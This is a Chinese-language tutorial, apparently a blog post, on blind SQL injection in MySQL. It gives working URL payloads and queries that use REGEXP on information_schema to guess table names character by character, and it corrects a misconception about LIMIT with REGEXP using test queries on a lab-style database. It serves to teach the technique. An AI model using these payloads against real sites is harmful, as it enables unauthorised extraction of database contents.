我们知道，在mysql 5.0版本之后，information_schema库中存储了所有的库名，表名以及字段名信息。故攻击方式如下：
1. 判断第一个表名的第一个字符是否是a-z中的字符,其中blind_sqli是假设已知的库名。
注：正则表达式中 ^[a-z] 表示字符串中开始字符是在 a-z范围内
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP ‘^[a-z]‘ LIMIT 0,1) /*
2. 判断第一个字符是否是a-n中的字符
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP ‘^[a-n]‘ LIMIT 0,1)/*
3. 确定该字符为n
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP ‘^n‘ LIMIT 0,1) /*
4. 表达式的更换如下
expression like this: ‘^n[a-z]‘ -> ‘^ne[a-z]‘ -> ‘^new[a-z]‘ -> ‘^news[a-z]‘ -> FALSE
这时说明表名为news ，要验证是否是该表明 正则表达式为‘^news$‘，但是没这必要 直接判断 table_name = ’news‘ 不就行了。
5.接下来猜解其它表了 （只需要修改 limit 1,1 -> limit 2,1就可以对接下来的表进行盲注了）这里是错误的！！！
regexp匹配的时候会在所有的项都进行匹配。例如：
security数据库的表有多个，users，email等
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema=‘security‘ and table_name regexp ‘^u[a-z]‘ limit 0,1);是正确的
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema=‘security‘ and table_name regexp ‘^us[a-z]‘ limit 0,1);是正确的
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema=‘security‘ and table_name regexp ‘^em[a-z]‘ limit 0,1);是正确的
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema=‘security‘ and table_name regexp ‘^us[a-z]‘ limit 1,1);不正确
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema=‘security‘ and table_name regexp ‘^em[a-z]‘ limit 1,1);不正确
实验表明：在limit 0,1下，regexp会匹配所有的项。我们在使用regexp时，要注意有可能有多个项，同时要一个个字符去爆破。类似于上述第一条和第二条。而此时limit 0,1此时是对于where table_schema=‘security‘ limit 0,1。table_schema=‘security‘已经起到了限定作用了，limit有没有已经不重要了。